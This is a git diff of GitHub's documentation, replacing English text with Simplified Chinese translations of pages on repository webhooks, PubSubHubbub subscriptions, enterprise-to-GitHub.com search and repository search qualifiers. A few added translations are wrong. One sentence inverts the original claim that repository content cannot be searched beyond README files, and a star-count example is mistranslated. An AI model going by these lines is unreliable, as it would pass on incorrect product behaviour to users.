+ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193243' --- +## 关于存储库 Webhook + 利用存储库 Webhook 可在存储库内发生特定事件时接收 HTTP `POST` 有效负载。 {% data reusables.webhooks.webhooks-rest-api-links %} -如果要设置一个 Webhook 来接收来自组织所有存储库的事件,请参阅关于[组织 Webhook](/rest/reference/orgs#webhooks) 的 API 文档。 +如果要设置一个 Webhook 来接收来自组织所有存储库的事件,请参阅关于[组织 Webhook](/rest/reference/orgs#webhooks) 的 REST API 文档。 除了 REST API 之外,{% data variables.product.prodname_dotcom %} 还可以用作存储库的 [PubSubHubbub](#pubsubhubbub) 中心。 -## 接收 web 挂钩 +### 接收 web 挂钩 为了让 {% data variables.product.product_name %} 发送 web 挂钩有效负载,您的服务器需要能够从 Internet 访问。 我们还强烈建议使用 SSL,以便我们可以通过 HTTPS 发送加密的有效负载。 -### Web 挂钩标头 +#### Web 挂钩标头 {% data variables.product.product_name %} 发送时将附带几个 HTTP 标头,以区分事件类型和有效负载标识符。 有关详细信息,请参阅 [Webhook 标头](/developers/webhooks-and-events/webhook-events-and-payloads#delivery-headers)。 -## PubSubHubbub +### PubSubHubbub GitHub 还可以用作所有存储库的 [PubSubHubbub](https://github.com/pubsubhubbub/PubSubHubbub) 中心。 PSHB 是一个简单的发布/订阅协议,允许服务器注册在主题更新时接收更新。 这些更新随 HTTP POST 请求一起发送到回调 URL。 GitHub 仓库推送的主题 URL 采用以下格式: @@ -46,21 +48,21 @@ GitHub 仓库推送的主题 URL 采用以下格式: 事件可以是任何可用的 web 挂钩事件。 有关详细信息,请参阅“[Webhook 事件和有效负载](/developers/webhooks-and-events/webhook-events-and-payloads)”。 -### 响应格式 +#### 响应格式 默认格式是[现有接收后挂钩应具有的格式](/post-receive-hooks/):作为 POST 中的 `payload` 参数发送的 JSON 正文。 还可以指定接收带有 `Accept` 标头或 `.json` 扩展名的原始 JSON 正文。 Accept: application/json https://github.com/{owner}/{repo}/events/push.json -### 回调 URL +#### 回调 URL 回叫 URL 可以使用 `http://` 协议。 # Send updates to postbin.org http://postbin.org/123 -### 订阅 +#### 订阅 GitHub PubSubHubbub 终结点为:`{% data variables.product.api_url_code %}/hub`。 使用 cURL 的成功请求如下所示: @@ -74,7 +76,7 @@ curl -u "user" -i \ PubSubHubbub 请求可以多次发送。 如果挂钩已经存在,它将根据请求进行修改。 -#### 参数 +##### 参数 名称 | 类型 | 说明 -----|------|-------------- diff --git a/translations/zh-CN/content/rest/webhooks/repo-config.md b/translations/zh-CN/content/rest/webhooks/repo-config.md index 949cc023a2..06861951c5 100644 --- a/translations/zh-CN/content/rest/webhooks/repo-config.md +++ b/translations/zh-CN/content/rest/webhooks/repo-config.md @@ -1,6 +1,6 @@ --- title: 存储库 Webhook 配置 -intro: '' +intro: 使用 REST API 管理存储库 Webhook 的配置。 versions: fpt: '*' ghes: '*' @@ -10,11 +10,11 @@ topics: - API miniTocMaxHeadingLevel: 3 allowTitleToDifferFromFilename: true -ms.openlocfilehash: 177126cebda7cd020d109107f920ef88b1c1278c -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: 46cd5a1a67a6a2791bc260d8332c1bc626e0dc46 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147062792' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193211' --- diff --git a/translations/zh-CN/content/rest/webhooks/repo-deliveries.md b/translations/zh-CN/content/rest/webhooks/repo-deliveries.md index 990442c96c..48375c0c55 100644 --- a/translations/zh-CN/content/rest/webhooks/repo-deliveries.md +++ b/translations/zh-CN/content/rest/webhooks/repo-deliveries.md @@ -1,6 +1,6 @@ --- title: 存储库 Webhook 交付 -intro: '' +intro: 使用 REST API 与存储库 Webhook 的交付进行交互。 versions: fpt: '*' ghes: '*' @@ -10,11 +10,11 @@ topics: - API miniTocMaxHeadingLevel: 3 allowTitleToDifferFromFilename: true -ms.openlocfilehash: a3fdc76ab7b02c60cac519ec0a44e215dab122df -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: 6d9d43bbf7992b6339b13129c93ba45560acc09a +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147063120' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193210' --- diff --git a/translations/zh-CN/content/rest/webhooks/repos.md b/translations/zh-CN/content/rest/webhooks/repos.md index 0fc7931d0a..37e264554d 100644 --- a/translations/zh-CN/content/rest/webhooks/repos.md +++ b/translations/zh-CN/content/rest/webhooks/repos.md @@ -1,6 +1,6 @@ --- title: 存储库 Webhook -intro: '' +intro: 使用 REST API 管理存储库 Webhook。 versions: fpt: '*' ghes: '*' @@ -10,11 +10,11 @@ topics: - API miniTocMaxHeadingLevel: 3 allowTitleToDifferFromFilename: true -ms.openlocfilehash: 85e0c2746416c5ba810b7729b06f1661d7319ec3 -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: 39d6e01bc3df2c805c52df706088942b4b7c3367 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 09/05/2022 -ms.locfileid: '147061879' +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193264' --- diff --git a/translations/zh-CN/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md b/translations/zh-CN/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md index 2c6c969728..1ebf97b10a 100644 --- a/translations/zh-CN/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md +++ b/translations/zh-CN/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md @@ -1,7 +1,7 @@ --- -title: Enabling GitHub.com repository search from your private enterprise environment +title: 从您的私有企业环境中启用 GitHub.com 存储库搜索 shortTitle: Search GitHub.com from enterprise -intro: 'You can connect your personal accounts on {% data variables.product.prodname_dotcom_the_website %} and your private {% data variables.product.prodname_enterprise %} environment to search for content in certain {% data variables.product.prodname_dotcom_the_website %} repositories{% ifversion fpt or ghec %} from your private environment{% else %} from {% data variables.product.product_name %}{% endif %}.' +intro: '您可以在连接您在 {% data variables.product.prodname_dotcom_the_website %} 和私人 {% data variables.product.prodname_enterprise %} 环境中的个人帐户,以{% ifversion fpt or ghec %} 从您的私人环境{% else %} 从 {% data variables.product.product_name %}{% endif %}搜索特定 {% data variables.product.prodname_dotcom_the_website %} 存储库中的内容。' redirect_from: - /articles/enabling-private-githubcom-repository-search-in-your-github-enterprise-account - /articles/enabling-private-github-com-repository-search-in-your-github-enterprise-server-account @@ -14,20 +14,23 @@ versions: ghae: '*' topics: - GitHub search +ms.openlocfilehash: 2c4ee57036ca2d0114e75a1acaeecec05be5ba3a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147062456' --- +## 关于从 {% data variables.product.product_name %} 搜索 {% data variables.product.prodname_dotcom_the_website %} 存储库 -## About search for {% data variables.product.prodname_dotcom_the_website %} repositories from {% data variables.product.product_name %} +可以从 {% data variables.product.prodname_ghe_managed %}{% endif %} 上的 {% data variables.product.product_location %}{% ifversion ghae %} 中搜索 {% data variables.product.prodname_ghe_cloud %} 上的指定专用存储库。 有关跨环境搜索的详细信息,请参阅“[关于在 GitHub 上搜索](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github#searching-repositories-on-githubcom-from-your-private-enterprise-environment)”。 -You can search for designated private repositories on {% data variables.product.prodname_ghe_cloud %} from {% data variables.location.product_location %}{% ifversion ghae %} on {% data variables.product.prodname_ghe_managed %}{% endif %}. For more information about searching across environments, see "[About searching on GitHub](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github#searching-repositories-on-githubcom-from-your-private-enterprise-environment)." +## 先决条件 -## Prerequisites +{% data variables.product.product_name %} 的企业所有者必须对专用存储库启用 {% data variables.product.prodname_github_connect %} 和 {% data variables.product.prodname_unified_search %}。 有关详细信息,请参阅“[对企业启用 {% data variables.product.prodname_unified_search %}](/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise)”。 -An enterprise owner for {% data variables.product.product_name %} must enable {% data variables.product.prodname_github_connect %} and {% data variables.enterprise.prodname_unified_search %} for private repositories. For more information, see "[Enabling {% data variables.enterprise.prodname_unified_search %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise)." +## 从 {% data variables.product.product_name %} 启用 {% data variables.product.prodname_dotcom_the_website %} 存储库搜索 -## Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from {% data variables.product.product_name %} - -1. Sign into {% data variables.product.product_name %} and {% data variables.product.prodname_dotcom_the_website %}. -1. On {% data variables.product.product_name %}, in the upper-right corner of any page, click your profile photo, then click **Settings**. -![Settings icon in the user bar](/assets/images/help/settings/userbar-account-settings.png) -{% data reusables.github-connect.github-connect-tab-user-settings %} -{% data reusables.github-connect.connect-dotcom-and-enterprise %} +1. 登录到 {% data variables.product.product_name %} 和 {% data variables.product.prodname_dotcom_the_website %}。 +1. 在 {% data variables.product.product_name %} 任意页的右上角,单击个人资料照片,然后单击“设置”。 +![用户栏中的“设置”图标](/assets/images/help/settings/userbar-account-settings.png) {% data reusables.github-connect.github-connect-tab-user-settings %} {% data reusables.github-connect.connect-dotcom-and-enterprise %} diff --git a/translations/zh-CN/content/search-github/searching-on-github/searching-for-repositories.md b/translations/zh-CN/content/search-github/searching-on-github/searching-for-repositories.md index 69c5aeed59..56d3c0f58d 100644 --- a/translations/zh-CN/content/search-github/searching-on-github/searching-for-repositories.md +++ b/translations/zh-CN/content/search-github/searching-on-github/searching-for-repositories.md @@ -1,6 +1,6 @@ --- -title: Searching for repositories -intro: 'You can search for repositories on {% data variables.product.product_name %} and narrow the results using these repository search qualifiers in any combination.' +title: 搜索仓库 +intro: '您可以在 {% data variables.product.product_name %} 上搜索仓库,并使用这些仓库搜索限定符的任意组合缩小结果范围。' redirect_from: - /articles/searching-repositories - /articles/searching-for-repositories @@ -14,193 +14,195 @@ versions: topics: - GitHub search shortTitle: Search for repositories +ms.openlocfilehash: 9a464fbb327809b8af970c9a62c3a70d81c2c6b9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147527932' --- -You can search for repositories globally across all of {% data variables.location.product_location %}, or search for repositories within a particular organization. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." +可以在所有 {% data variables.product.product_location %} 内全局搜索存储库,也可以在特定组织内搜索存储库。 有关详细信息,请参阅“[关于在 {% data variables.product.prodname_dotcom %} 中搜索](/search-github/getting-started-with-searching-on-github/about-searching-on-github)”。 -To include forks in the search results, you will need to add `fork:true` or `fork:only` to your query. For more information, see "[Searching in forks](/search-github/searching-on-github/searching-in-forks)." +若要在搜索结果中包含分支,需要在查询中添加 `fork:true` 或 `fork:only`。 有关详细信息,请参阅“[在分支中搜索](/search-github/searching-on-github/searching-in-forks)”。 {% data reusables.search.syntax_tips %} -## Search by repository name, description, or contents of the README file +## 按仓库名称、说明或自述文件内容搜索 -With the `in` qualifier you can restrict your search to the repository name, repository description, repository topics, contents of the README file, or any combination of these. When you omit this qualifier, only the repository name, description, and topics are searched. +通过 `in` 限定符,可将搜索范围限制到存储库名称、存储库说明、存储库主题、自述文件内容或这些项的任意组合。 如果省略此限定符,则仅搜索存储库名称、说明和主题。 -| Qualifier | Example +| 限定符 | 示例 | ------------- | ------------- -| `in:name` | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) matches repositories with "jquery" in the repository name. -| `in:description` | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) matches repositories with "jquery" in the repository name or description. -| `in:topics` | [**jquery in:topics**](https://github.com/search?q=jquery+in%3Atopics&type=Repositories) matches repositories labeled with "jquery" as a topic. -| `in:readme` | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) matches repositories mentioning "jquery" in the repository's README file. -| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) matches a specific repository name. +| `in:name` | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) 匹配名称中带有“jquery”的存储库。 +| `in:description` | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) 匹配名称或说明中带有“jquery”的存储库。 +| `in:topics` | [jquery in:topics](https://github.com/search?q=jquery+in%3Atopics&type=Repositories) 将带“jquery”标签的存储库匹配为主题。 +| `in:readme` | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) 匹配自述文件中提及“jquery”的存储库。 +| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) 匹配特定的存储库名称。 -## Search based on the contents of a repository +## 基于仓库的内容搜索 -You can find a repository by searching for content in the repository's README file using the `in:readme` qualifier. For more information, see "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)." +可以使用 `in:readme` 限定符,通过搜索存储库自述文件中的内容来查找存储库。 有关详细信息,请参阅“[关于自述文件](/github/creating-cloning-and-archiving-repositories/about-readmes)”。 -Besides using `in:readme`, it's not possible to find repositories by searching for specific content within the repository. To search for a specific file or content within a repository, you can use the file finder or code-specific search qualifiers. For more information, see "[Finding files on {% data variables.product.prodname_dotcom %}](/search-github/searching-on-github/finding-files-on-github)" and "[Searching code](/search-github/searching-on-github/searching-code)." +除了使用 `in:readme`,还可以通过搜索存储库中的特定内容来查找存储库。 要搜索仓库内的特定文件或内容,您可以使用查找器或代码特定的搜索限定符。 有关详细信息,请参阅“[在 {% data variables.product.prodname_dotcom %} 上查找文件](/search-github/searching-on-github/finding-files-on-github)”和“[搜索代码](/search-github/searching-on-github/searching-code)”。 -| Qualifier | Example +| 限定符 | 示例 | ------------- | ------------- -| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) matches repositories mentioning "octocat" in the repository's README file. +| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) 匹配自述文件中提及“octocat”的存储库。 -## Search within a user's or organization's repositories +## 在用户或组织的仓库内搜索 -To search in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. +若要在特定用户或组织拥有的所有存储库中搜索,可使用 `user` 或 `org` 限定符。 -| Qualifier | Example +| 限定符 | 示例 | ------------- | ------------- -| user:USERNAME | [**user:defunkt forks:>100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) matches repositories from @defunkt that have more than 100 forks. -| org:ORGNAME | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) matches repositories from GitHub. +| user:USERNAME | [**user:defunkt forks:>100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) 匹配来自 @defunkt 且具有超过 100 个分支的存储库。 +| org:ORGNAME | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) 匹配来自 GitHub 的存储库。 -## Search by repository size +## 按仓库大小搜索 -The `size` qualifier finds repositories that match a certain size (in kilobytes), using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." +`size` 限定符使用大于、小于和范围限定符查找与特定大小(以千字节为单位)匹配的存储库。 有关详细信息,请参阅“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。 -| Qualifier | Example +| 限定符 | 示例 | ------------- | ------------- -| size:n | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) matches repositories that are 1 MB exactly. -| | [**size:>=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) matches repositories that are at least 30 MB. -| | [**size:<50**](https://github.com/search?q=size%3A%3C50&type=Repositories) matches repositories that are smaller than 50 KB. -| | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) matches repositories that are between 50 KB and 120 KB. +| size:n | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) 匹配正好为 1 MB 的存储库。 +| | [**size:>=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) 匹配至少为 30 MB 的存储库。 +| | [**size:<50**](https://github.com/search?q=size%3A%3C50&type=Repositories) 匹配小于 50 KB 的存储库。 +| | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) 匹配介于 50 KB 至 120 KB 之间的存储库。 -## Search by number of followers +## 按关注者数量搜索 -You can filter repositories based on the number of users who follow the repositories, using the `followers` qualifier with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." +可以使用 `followers` 限定符以及大于、小于和范围限定符,根据关注存储库的用户数量筛选存储库。 有关详细信息,请参阅“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。 -| Qualifier | Example +| 限定符 | 示例 | ------------- | ------------- -| followers:n | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) matches repositories with 10,000 or more followers mentioning the word "node". -| | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) matches repositories with between 1 and 10 followers, mentioning the word "styleguide linter." +| followers:n | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) 匹配有 10,000 名或更多关注者提及“node”一词的存储库。 +| | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) 匹配有 1 至 10 名关注者提及“styleguide linter”一词的存储库。 -## Search by number of forks +## 按复刻数量搜索 -The `forks` qualifier specifies the number of forks a repository should have, using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." +`forks` 限定符使用大于、小于和范围限定符指定存储库应具有的分支数量。 有关详细信息,请参阅“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。 -| Qualifier | Example +| 限定符 | 示例 | ------------- | ------------- -| forks:n | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) matches repositories with only five forks. -| | [**forks:>=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) matches repositories with at least 205 forks. -| | [**forks:<90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) matches repositories with fewer than 90 forks. -| | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) matches repositories with 10 to 20 forks. +| forks:n | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) 匹配只有五个分支的存储库。 +| | [**forks:>=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) 匹配至少有 205 个分支的存储库。 +| | [**forks:<90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) 匹配具有少于 90 个分支的存储库。 +| | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) 匹配具有 10 到 20 个分支的存储库。 -## Search by number of stars +## 按星号数量搜索 -You can search repositories based on the number of stars the repositories have, using greater than, less than, and range qualifiers. For more information, see "[Saving repositories with stars](/github/getting-started-with-github/saving-repositories-with-stars)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." +您可以使用大于、小于和范围限定符,基于仓库的星标数量来搜索仓库。 有关详细信息,请参阅“[使用星标保存存储库](/github/getting-started-with-github/saving-repositories-with-stars)”和“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。 -| Qualifier | Example +| 限定符 | 示例 | ------------- | ------------- -| stars:n | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) matches repositories with exactly 500 stars. -| | [**stars:10..20 size:<1000**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) matches repositories 10 to 20 stars, that are smaller than 1000 KB. -| | [**stars:>=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) matches repositories with the at least 500 stars, including forked ones, that are written in PHP. +| stars:n | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) 匹配正好有 500 个星标的存储库。 +| | [stars:10..20 size:<1000](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) 匹配有 10 到 20 个星标、小于 1000 KB 的存储库。 +| | [**stars:>=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) 匹配至少有 500 个星标(包括用 PHP 编写的分支星标)的存储库。 -## Search by when a repository was created or last updated +## 按仓库创建或上次更新时间搜索 -You can filter repositories based on time of creation or time of last update. For repository creation, you can use the `created` qualifier; to find out when a repository was last updated, you'll want to use the `pushed` qualifier. The `pushed` qualifier will return a list of repositories, sorted by the most recent commit made on any branch in the repository. +您可以基于创建时间或上次更新时间过滤仓库。 对于存储库创建,可以使用 `created` 限定符;要了解存储库的最后更新时间,需要使用 `pushed` 限定符。 `pushed` 限定符将返回存储库列表,按存储库中任意分支上最近进行的提交排序。 -Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +两者均采用日期作为参数。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| Qualifier | Example +| 限定符 | 示例 | ------------- | ------------- -| created:YYYY-MM-DD | [**webos created:<2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) matches repositories with the word "webos" that were created before 2011. -| pushed:YYYY-MM-DD | [**css pushed:>2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) matches repositories with the word "css" that were pushed to after January 2013. -| | [**case pushed:>=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) matches repositories with the word "case" that were pushed to on or after March 6th, 2013, and that are forks. +| created:YYYY-MM-DD | [**webos created:<2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) 匹配具有 2011 年之前创建的“webos”一词的存储库。 +| pushed:YYYY-MM-DD | [**css pushed:>2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) 匹配具有在 2013 年 1 月之后推送到其中的“css”一词的存储库。 +| | [**case pushed:>=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) 匹配在 2013 年 3 月 6 日或之后将“case”一词推送到其中的存储库(即分支)。 -## Search by language +## 按语言搜索 -You can search repositories based on the language of the code in the repositories. +您可以根据仓库中代码的语言搜索仓库。 -| Qualifier | Example +| 限定符 | 示例 | ------------- | ------------- -| language:LANGUAGE | [**`rails language:javascript`**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) matches repositories with the word "rails" that are written in JavaScript. +| language:LANGUAGE | [ **`rails language:javascript`**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) 匹配具有以 JavaScript 编写的“rails”一词的存储库。 -## Search by topic +## 按主题搜索 -You can find all of the repositories that are classified with a particular topic. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)." +您可以找到按特定主题分类的所有仓库。 有关详细信息,请参阅“[按主题对存储库进行分类](/github/administering-a-repository/classifying-your-repository-with-topics)”。 -| Qualifier | Example +| 限定符 | 示例 | ------------- | ------------- -| topic:TOPIC | [**`topic:jekyll`**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) matches repositories that have been classified with the topic "Jekyll." +| topic:TOPIC | [ **`topic:jekyll`**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) 匹配按“Jekyll”主题分类的存储库。 -## Search by number of topics +## 按主题数量搜索 -You can search repositories by the number of topics that have been applied to the repositories, using the `topics` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." +可以使用 `topics` 限定符以及大于、小于和范围限定符,根据应用于存储库的主题数量来搜索存储库。 有关详细信息,请参阅“[按主题对存储库进行分类](/github/administering-a-repository/classifying-your-repository-with-topics)”和“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。 -| Qualifier | Example +| 限定符 | 示例 | ------------- | ------------- -| topics:n | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) matches repositories that have five topics. -| | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) matches repositories that have more than three topics. +| topics:n | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) 匹配具有五个主题的存储库。 +| | [**topics:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) 匹配具有三个以上主题的存储库。 {% ifversion fpt or ghes or ghec %} -## Search by license +## 按许可搜索 -You can search repositories by the type of license in the repositories. You must use a license keyword to filter repositories by a particular license or license family. For more information, see "[Licensing a repository](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)." +您可以根据仓库中许可的类型搜索仓库。 您必须使用许可关键字,按特定许可或许可系列来过滤仓库。 有关详细信息,请参阅“[许可存储库](/github/creating-cloning-and-archiving-repositories/licensing-a-repository)”。 -| Qualifier | Example +| 限定符 | 示例 | ------------- | ------------- -| license:LICENSE_KEYWORD | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) matches repositories that are licensed under Apache License 2.0. +| license:LICENSE_KEYWORD | [**license:apache-2.0**](https://github.com/search?utf8=%E2%9C%93&q=license%3Aapache-2.0&type=Repositories&ref=searchresults) 匹配根据 Apache 许可证 2.0 许可的存储库。 {% endif %} -## Search by repository visibility +## 按仓库可见性搜索 -You can filter your search based on the visibility of the repositories. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." +您可以根据仓库的可见性过滤搜索。 有关详细信息,请参阅“[关于存储库](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)”。 -| Qualifier | Example -| ------------- | ------------- |{% ifversion fpt or ghes or ghec %} -| `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %}{% ifversion ghes or ghec or ghae %} -| `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test".{% endif %} -| `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) matches private repositories that you can access and contain the word "pages." +| 限定符 | 示例 | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) 匹配由 {% data variables.product.company_short %} 所有的公共存储库。{% endif %}{% ifversion ghes or ghec or ghae %} | `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) 匹配你可以访问且包含“test”一词的内部存储库。{% endif %} | `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) 匹配你可以访问且包含“pages”一词的专用存储库。 {% ifversion fpt or ghec %} -## Search based on whether a repository is a mirror +## 基于仓库是否为镜像搜索 -You can search repositories based on whether the repositories are mirrors and hosted elsewhere. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)." +您可以根据仓库是否为镜像以及托管于其他位置托管来搜索仓库。 有关详细信息,请参阅“[查找为 {% data variables.product.prodname_dotcom %} 上的开放源代码做贡献的方式](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)”。 -| Qualifier | Example +| 限定符 | 示例 | ------------- | ------------- -| `mirror:true` | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) matches repositories that are mirrors and contain the word "GNOME." -| `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) matches repositories that are not mirrors and contain the word "GNOME." +| `mirror:true` | [**mirror:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Atrue+GNOME&type=) 匹配为镜像且包含“GNOME”一词的存储库。 +| `mirror:false` | [**mirror:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=mirror%3Afalse+GNOME&type=) 匹配不为镜像且包含“GNOME”一词的存储库。 {% endif %} -## Search based on whether a repository is archived +## 基于仓库是否已存档搜索 -You can search repositories based on whether or not the repositories are archived. For more information, see "[Archiving repositories](/repositories/archiving-a-github-repository/archiving-repositories)." +您可以基于仓库是否已存档来搜索仓库。 